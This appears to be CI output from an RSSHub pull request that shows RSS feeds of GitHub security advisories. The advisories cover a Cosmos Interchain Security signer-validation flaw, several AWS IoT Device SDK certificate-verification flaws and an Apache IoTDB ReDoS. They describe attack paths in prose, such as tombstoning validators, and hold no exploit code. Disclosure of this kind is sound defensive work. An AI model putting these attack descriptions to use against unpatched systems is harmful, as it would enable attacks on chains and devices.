        &lt;li&gt;message handling &lt;a href=&quot;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/keeper/msg_server.go#L52&quot;&gt;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/keeper/msg_server.go#L52&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;severity-assessment&quot;&gt;Severity assessment&lt;/h3&gt;
        &lt;p&gt;The severity assessment is based on &lt;a href=&quot;https://github.com/interchainio/security/blob/main/resources/CLASSIFICATION_MATRIX.md&quot;&gt;this framework&lt;/a&gt;. &lt;/p&gt;
        &lt;p&gt;&lt;strong&gt;Potential impact:&lt;/strong&gt; Catastrophic &lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;By changing consumer keys for 1/3+ of a consumer chain&#39;s validator set, any user could cause a consumer chain to halt. Given that the consumer is down, the provider will jail provider validators for consumer downtime, so this exploit would not have impacted the provider directly. Consumer chain halts would need to be addressed by a provider-side patch.&lt;/li&gt;
        &lt;li&gt;By changing consumer keys on a consumer node, double signing, and submitting evidence back to the provider, any user could tombstone any provider validator. This would cause the provider&#39;s active set to change. At scale, this exploit could be applied to all active provider validators and a well-funded attacker could then run their own nodes and take over consensus on the provider and on consumer chains.&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;&lt;strong&gt;Likelihood:&lt;/strong&gt; Rare&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;The bug was discovered internally. There is no evidence that any external party has identified this vulnerability. &lt;/li&gt;
        &lt;li&gt;The bug has been live for two weeks with no issues. &lt;/li&gt;
        &lt;li&gt;All four message types are ones that only validators use, and rarely use in daily operations.&lt;/li&gt;
        &lt;li&gt;In the Cosmos Hub’s recent history (May - Aug), there has been only one instance of any of these message types, which was performed in accordance with chain rules.&lt;/li&gt;
        &lt;li&gt;The catastrophic exploits (such as tombstoning the entire validator set of the provider) are also extremely complex. They involve several operations that are not well-understood by many people, and the entire exploit must occur quickly and at-scale to avoid other node operators responding defensively.&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/cosmos/interchain-security/security/advisories/GHSA-7q74-g774-7x3g&quot;&gt;https://github.com/cosmos/interchain-security/security/advisories/GHSA-7q74-g774-7x3g&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-7q74-g774-7x3g&quot;&gt;https://github.com/advisories/GHSA-7q74-g774-7x3g&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-7q74-g774-7x3g</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-7q74-g774-7x3g</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/cosmos/interchain-security/v2] Interchain Security: The signers of ICS messages do not need to match the provider address</title>
      <description>&lt;h3 id=&quot;context&quot;&gt;Context&lt;/h3&gt;
        &lt;p&gt;ICS has the following four messages that enable validators on the provider chain to perform different actions:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;code&gt;MsgOptIn&lt;/code&gt; -- adds a validator to the consumer chain’s active set&lt;/li&gt;
        &lt;li&gt;&lt;code&gt;MsgOptOut&lt;/code&gt; -- removes a validator from the consumer chain’s active set &lt;/li&gt;
        &lt;li&gt;&lt;code&gt;MsgAssignConsumerKey&lt;/code&gt; -- changes the consensus key used for a validator’s operations on a consumer chain&lt;/li&gt;
        &lt;li&gt;&lt;code&gt;MsgSetConsumerCommissionRate&lt;/code&gt; -- sets a validator’s consumer-specific commission rate&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;Normally, only the respective validators are allowed to perform these actions. &lt;/p&gt;
        &lt;h3 id=&quot;issue&quot;&gt;Issue&lt;/h3&gt;
        &lt;p&gt;The upgrade to SDK 0.50, introduced a &lt;a href=&quot;https://docs.cosmos.network/v0.50/build/building-modules/protobuf-annotations#signer&quot;&gt;signer&lt;/a&gt; field to these messages. This field is used to authenticate the user sending the message to the system. However, there was no validation on the ICS side to check if the signer matches the provider address. &lt;/p&gt;
        &lt;p&gt;As a result, any user could opt-in, opt-out, change the commission rate, or change what public key a validator uses on a consumer chain. &lt;/p&gt;
        &lt;p&gt;For more context, check out the code:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;proto files &lt;a href=&quot;https://github.com/cosmos/interchain-security/blob/v5.1.1/proto/interchain_security/ccv/provider/v1/tx.proto#L52&quot;&gt;https://github.com/cosmos/interchain-security/blob/v5.1.1/proto/interchain_security/ccv/provider/v1/tx.proto#L52&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;message validation &lt;a href=&quot;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/types/msg.go#L106&quot;&gt;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/types/msg.go#L106&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;message handling &lt;a href=&quot;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/keeper/msg_server.go#L52&quot;&gt;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/keeper/msg_server.go#L52&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;severity-assessment&quot;&gt;Severity assessment&lt;/h3&gt;
        &lt;p&gt;The severity assessment is based on &lt;a href=&quot;https://github.com/interchainio/security/blob/main/resources/CLASSIFICATION_MATRIX.md&quot;&gt;this framework&lt;/a&gt;. &lt;/p&gt;
        &lt;p&gt;&lt;strong&gt;Potential impact:&lt;/strong&gt; Catastrophic &lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;By changing consumer keys for 1/3+ of a consumer chain&#39;s validator set, any user could cause a consumer chain to halt. Given that the consumer is down, the provider will jail provider validators for consumer downtime, so this exploit would not have impacted the provider directly. Consumer chain halts would need to be addressed by a provider-side patch.&lt;/li&gt;
        &lt;li&gt;By changing consumer keys on a consumer node, double signing, and submitting evidence back to the provider, any user could tombstone any provider validator. This would cause the provider&#39;s active set to change. At scale, this exploit could be applied to all active provider validators and a well-funded attacker could then run their own nodes and take over consensus on the provider and on consumer chains.&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;&lt;strong&gt;Likelihood:&lt;/strong&gt; Rare&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;The bug was discovered internally. There is no evidence that any external party has identified this vulnerability. &lt;/li&gt;
        &lt;li&gt;The bug has been live for two weeks with no issues. &lt;/li&gt;
        &lt;li&gt;All four message types are ones that only validators use, and rarely use in daily operations.&lt;/li&gt;
        &lt;li&gt;In the Cosmos Hub’s recent history (May - Aug), there has been only one instance of any of these message types, which was performed in accordance with chain rules.&lt;/li&gt;
        &lt;li&gt;The catastrophic exploits (such as tombstoning the entire validator set of the provider) are also extremely complex. They involve several operations that are not well-understood by many people, and the entire exploit must occur quickly and at-scale to avoid other node operators responding defensively.&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/cosmos/interchain-security/security/advisories/GHSA-7q74-g774-7x3g&quot;&gt;https://github.com/cosmos/interchain-security/security/advisories/GHSA-7q74-g774-7x3g&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-7q74-g774-7x3g&quot;&gt;https://github.com/advisories/GHSA-7q74-g774-7x3g&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-7q74-g774-7x3g</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-7q74-g774-7x3g</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/cosmos/interchain-security] Interchain Security: The signers of ICS messages do not need to match the provider address</title>
      <description>&lt;h3 id=&quot;context&quot;&gt;Context&lt;/h3&gt;
        &lt;p&gt;ICS has the following four messages that enable validators on the provider chain to perform different actions:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;code&gt;MsgOptIn&lt;/code&gt; -- adds a validator to the consumer chain’s active set&lt;/li&gt;
        &lt;li&gt;&lt;code&gt;MsgOptOut&lt;/code&gt; -- removes a validator from the consumer chain’s active set &lt;/li&gt;
        &lt;li&gt;&lt;code&gt;MsgAssignConsumerKey&lt;/code&gt; -- changes the consensus key used for a validator’s operations on a consumer chain&lt;/li&gt;
        &lt;li&gt;&lt;code&gt;MsgSetConsumerCommissionRate&lt;/code&gt; -- sets a validator’s consumer-specific commission rate&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;Normally, only the respective validators are allowed to perform these actions. &lt;/p&gt;
        &lt;h3 id=&quot;issue&quot;&gt;Issue&lt;/h3&gt;
        &lt;p&gt;The upgrade to SDK 0.50, introduced a &lt;a href=&quot;https://docs.cosmos.network/v0.50/build/building-modules/protobuf-annotations#signer&quot;&gt;signer&lt;/a&gt; field to these messages. This field is used to authenticate the user sending the message to the system. However, there was no validation on the ICS side to check if the signer matches the provider address. &lt;/p&gt;
        &lt;p&gt;As a result, any user could opt-in, opt-out, change the commission rate, or change what public key a validator uses on a consumer chain. &lt;/p&gt;
        &lt;p&gt;For more context, check out the code:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;proto files &lt;a href=&quot;https://github.com/cosmos/interchain-security/blob/v5.1.1/proto/interchain_security/ccv/provider/v1/tx.proto#L52&quot;&gt;https://github.com/cosmos/interchain-security/blob/v5.1.1/proto/interchain_security/ccv/provider/v1/tx.proto#L52&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;message validation &lt;a href=&quot;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/types/msg.go#L106&quot;&gt;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/types/msg.go#L106&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;message handling &lt;a href=&quot;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/keeper/msg_server.go#L52&quot;&gt;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/keeper/msg_server.go#L52&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;severity-assessment&quot;&gt;Severity assessment&lt;/h3&gt;
        &lt;p&gt;The severity assessment is based on &lt;a href=&quot;https://github.com/interchainio/security/blob/main/resources/CLASSIFICATION_MATRIX.md&quot;&gt;this framework&lt;/a&gt;. &lt;/p&gt;
        &lt;p&gt;&lt;strong&gt;Potential impact:&lt;/strong&gt; Catastrophic &lt;/p&gt;
        &lt;ul&gt;

...

@github-actions GitHub Actions
Copy link
Contributor

http://localhost:1200/github-advisor/data/maven - Success ✔️ 
<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
  <channel>
    <title>GitHub Advisory Database RSS - maven</title>
    <link>https://github.com/advisories</link>
    <atom:link href="http://localhost:1200/github-advisor/data/maven" rel="self" type="application/rss+xml"></atom:link>
    <description>GitHub Advisory Database RSS - maven - Powered by RSSHub</description>
    <generator>RSSHub</generator>
    <webMaster>contact@rsshub.app (RSSHub)</webMaster>
    <language>en</language>
    <lastBuildDate>Fri, 13 Sep 2024 16:19:17 GMT</lastBuildDate>
    <ttl>5</ttl>
    <item>
      <title>[software.amazon.awssdk.iotdevicesdk:aws-iot-device-sdk] Improper certificate management in AWS IoT Device SDK v2</title>
      <description>&lt;p&gt;Connections initialized by the AWS IoT Device SDK v2 for Java (versions prior to 1.3.3), Python (versions prior to 1.5.18), C++ (versions prior to 1.12.7) and Node.js (versions prior to 1.5.1) did not verify server certificate hostname during TLS handshake when overriding Certificate Authorities (CA) in their trust stores on Windows. This issue has been addressed in aws-c-io submodule versions 0.9.13 onward. This issue affects: Amazon Web Services AWS IoT Device SDK v2 for Java versions prior to 1.3.3 on Microsoft Windows. Amazon Web Services AWS IoT Device SDK v2 for Python versions prior to 1.5.18 on Microsoft Windows. Amazon Web Services AWS IoT Device SDK v2 for C++ versions prior to 1.12.7 on Microsoft Windows. Amazon Web Services AWS IoT Device SDK v2 for Node.js versions prior to 1.5.3 on Microsoft Windows.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2021-40828&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2021-40828&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2/commit/67950ad2a02f2f9355c310b69dc9226b017f32f2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2/commit/67950ad2a02f2f9355c310b69dc9226b017f32f2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-js-v2/commit/4be41394f1aee979e6f4b012fcb01eecabd0c08d&quot;&gt;https://github.com/aws/aws-iot-device-sdk-js-v2/commit/4be41394f1aee979e6f4b012fcb01eecabd0c08d&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-python-v2/commit/fd4c0ba04b35eab9e20c635af5548fcc5a92d8be&quot;&gt;https://github.com/aws/aws-iot-device-sdk-python-v2/commit/fd4c0ba04b35eab9e20c635af5548fcc5a92d8be&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-cpp-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-cpp-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-js-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-js-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-python-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-python-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-94jq-q5v2-76wj&quot;&gt;https://github.com/advisories/GHSA-94jq-q5v2-76wj&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/awslabs/aws-c-io&quot;&gt;https://github.com/awslabs/aws-c-io&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-861.yaml&quot;&gt;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-861.yaml&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-94jq-q5v2-76wj</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-94jq-q5v2-76wj</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[software.amazon.awssdk.iotdevicesdk:aws-iot-device-sdk] Improper certificate management in AWS IoT Device SDK v2</title>
      <description>&lt;p&gt;The AWS IoT Device SDK v2 for Java, Python, C++ and Node.js appends a user supplied Certificate Authority (CA) to the root CAs instead of overriding it on Unix systems. TLS handshakes will thus succeed if the peer can be verified either from the user-supplied CA or the system’s default trust-store. Attackers with access to a host’s trust stores or are able to compromise a certificate authority already in the host&#39;s trust store (note: the attacker must also be able to spoof DNS in this case) may be able to use this issue to bypass CA pinning. An attacker could then spoof the MQTT broker, and either drop traffic and/or respond with the attacker&#39;s data, but they would not be able to forward this data on to the MQTT broker because the attacker would still need the user&#39;s private keys to authenticate against the MQTT broker. The &#39;aws_tls_ctx_options_override_default_trust_store_*&#39; function within the aws-c-io submodule has been updated to override the default trust store. This corrects this issue. This issue affects: Amazon Web Services AWS IoT Device SDK v2 for Java versions prior to 1.5.0 on Linux/Unix. Amazon Web Services AWS IoT Device SDK v2 for Python versions prior to 1.6.1 on Linux/Unix. Amazon Web Services AWS IoT Device SDK v2 for C++ versions prior to 1.12.7 on Linux/Unix. Amazon Web Services AWS IoT Device SDK v2 for Node.js versions prior to 1.5.3 on Linux/Unix. Amazon Web Services AWS-C-IO 0.10.4 on Linux/Unix.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2021-40830&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2021-40830&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2/commit/67950ad2a02f2f9355c310b69dc9226b017f32f2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2/commit/67950ad2a02f2f9355c310b69dc9226b017f32f2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-js-v2/commit/53a36e3ac203291494120604d416b6de59177cac&quot;&gt;https://github.com/aws/aws-iot-device-sdk-js-v2/commit/53a36e3ac203291494120604d416b6de59177cac&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-python-v2/commit/0450ce68add7e3d05c6d781ecdac953c299c053a&quot;&gt;https://github.com/aws/aws-iot-device-sdk-python-v2/commit/0450ce68add7e3d05c6d781ecdac953c299c053a&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-cpp-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-cpp-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-js-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-js-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-python-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-python-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-c4rh-4376-gff4&quot;&gt;https://github.com/advisories/GHSA-c4rh-4376-gff4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/awslabs/aws-c-io&quot;&gt;https://github.com/awslabs/aws-c-io&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-863.yaml&quot;&gt;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-863.yaml&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-c4rh-4376-gff4</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-c4rh-4376-gff4</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[software.amazon.awssdk.iotdevicesdk:aws-iot-device-sdk] Improper certificate management in AWS IoT Device SDK v2</title>
      <description>&lt;p&gt;The AWS IoT Device SDK v2 for Java, Python, C++ and Node.js appends a user supplied Certificate Authority (CA) to the root CAs instead of overriding it on macOS systems. Additionally, SNI validation is also not enabled when the CA has been &quot;overridden&quot;. TLS handshakes will thus succeed if the peer can be verified either from the user-supplied CA or the system’s default trust-store. Attackers with access to a host’s trust stores or are able to compromise a certificate authority already in the host&#39;s trust store (note: the attacker must also be able to spoof DNS in this case) may be able to use this issue to bypass CA pinning. An attacker could then spoof the MQTT broker, and either drop traffic and/or respond with the attacker&#39;s data, but they would not be able to forward this data on to the MQTT broker because the attacker would still need the user&#39;s private keys to authenticate against the MQTT broker. The &lt;code&gt;aws_tls_ctx_options_override_default_trust_store_*&lt;/code&gt; function within the aws-c-io submodule has been updated to address this behavior. This issue affects: Amazon Web Services AWS IoT Device SDK v2 for Java versions prior to 1.5.0 on macOS. Amazon Web Services AWS IoT Device SDK v2 for Python versions prior to 1.7.0 on macOS. Amazon Web Services AWS IoT Device SDK v2 for C++ versions prior to 1.14.0 on macOS. Amazon Web Services AWS IoT Device SDK v2 for Node.js versions prior to 1.6.0 on macOS. Amazon Web Services AWS-C-IO 0.10.7 on macOS.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2021-40831&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2021-40831&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2/commit/46375e9b1bfb34109b9ff3b1eff9c770f9daa186&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2/commit/46375e9b1bfb34109b9ff3b1eff9c770f9daa186&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-js-v2/commit/22f1989f5bdb0bdd9c912a5a2d255ee6c0854f68&quot;&gt;https://github.com/aws/aws-iot-device-sdk-js-v2/commit/22f1989f5bdb0bdd9c912a5a2d255ee6c0854f68&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-python-v2/commit/5aef82573202309063eb540b72cee0e565f85a2d&quot;&gt;https://github.com/aws/aws-iot-device-sdk-python-v2/commit/5aef82573202309063eb540b72cee0e565f85a2d&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-cpp-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-cpp-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-js-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-js-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-python-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-python-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-j3f7-7rmc-6wqj&quot;&gt;https://github.com/advisories/GHSA-j3f7-7rmc-6wqj&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/awslabs/aws-c-io&quot;&gt;https://github.com/awslabs/aws-c-io&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-864.yaml&quot;&gt;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-864.yaml&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-j3f7-7rmc-6wqj</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-j3f7-7rmc-6wqj</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[software.amazon.awssdk.iotdevicesdk:aws-iot-device-sdk] Improper certificate management in AWS IoT Device SDK v2</title>
      <description>&lt;p&gt;Connections initialized by the AWS IoT Device SDK v2 for Java (versions prior to 1.4.2), Python (versions prior to 1.6.1), C++ (versions prior to 1.12.7) and Node.js (versions prior to 1.5.3) did not verify server certificate hostname during TLS handshake when overriding Certificate Authorities (CA) in their trust stores on MacOS. This issue has been addressed in aws-c-io submodule versions 0.10.5 onward. This issue affects: Amazon Web Services AWS IoT Device SDK v2 for Java versions prior to 1.4.2 on macOS. Amazon Web Services AWS IoT Device SDK v2 for Python versions prior to 1.6.1 on macOS. Amazon Web Services AWS IoT Device SDK v2 for C++ versions prior to 1.12.7 on macOS. Amazon Web Services AWS IoT Device SDK v2 for Node.js versions prior to 1.5.3 on macOS. Amazon Web Services AWS-C-IO 0.10.4 on macOS.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2021-40829&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2021-40829&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2/commits/v1.4.2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2/commits/v1.4.2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-cpp-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-cpp-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-js-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-js-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-python-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-python-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-743r-5g92-5vgf&quot;&gt;https://github.com/advisories/GHSA-743r-5g92-5vgf&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/awslabs/aws-c-io&quot;&gt;https://github.com/awslabs/aws-c-io&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-862.yaml&quot;&gt;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-862.yaml&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-743r-5g92-5vgf</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-743r-5g92-5vgf</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[org.apache.iotdb:tsfile] Apache IoTDB subject to ReDOS with Java 8</title>
      <description>&lt;p&gt;Apache IoTDB versions 0.12.2 through 0.12.6, and 0.13.0 through 0.13.2 are vulnerable to a Denial of Service attack when accepting untrusted patterns for REGEXP queries with Java 8. This issue is patched in 0.13.3. Users should upgrade or use a later version of Java to avoid it.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2022-43766&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2022-43766&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://lists.apache.org/thread/9pgpb82p5brooy41n8l5q0y9h33db2zn&quot;&gt;https://lists.apache.org/thread/9pgpb82p5brooy41n8l5q0y9h33db2zn&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pypa/advisory-database/tree/main/vulns/apache-iotdb/PYSEC-2022-42972.yaml&quot;&gt;https://github.com/pypa/advisory-database/tree/main/vulns/apache-iotdb/PYSEC-2022-42972.yaml&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-g6hg-4v3c-6jq7&quot;&gt;https://github.com/advisories/GHSA-g6hg-4v3c-6jq7&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-g6hg-4v3c-6jq7</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-g6hg-4v3c-6jq7</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[org.apache.iotdb:iotdb-server] Apache IoTDB subject to ReDOS with Java 8</title>
      <description>&lt;p&gt;Apache IoTDB versions 0.12.2 through 0.12.6, and 0.13.0 through 0.13.2 are vulnerable to a Denial of Service attack when accepting untrusted patterns for REGEXP queries with Java 8. This issue is patched in 0.13.3. Users should upgrade or use a later version of Java to avoid it.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2022-43766&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2022-43766&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://lists.apache.org/thread/9pgpb82p5brooy41n8l5q0y9h33db2zn&quot;&gt;https://lists.apache.org/thread/9pgpb82p5brooy41n8l5q0y9h33db2zn&lt;/a&gt;&lt;/li&gt;
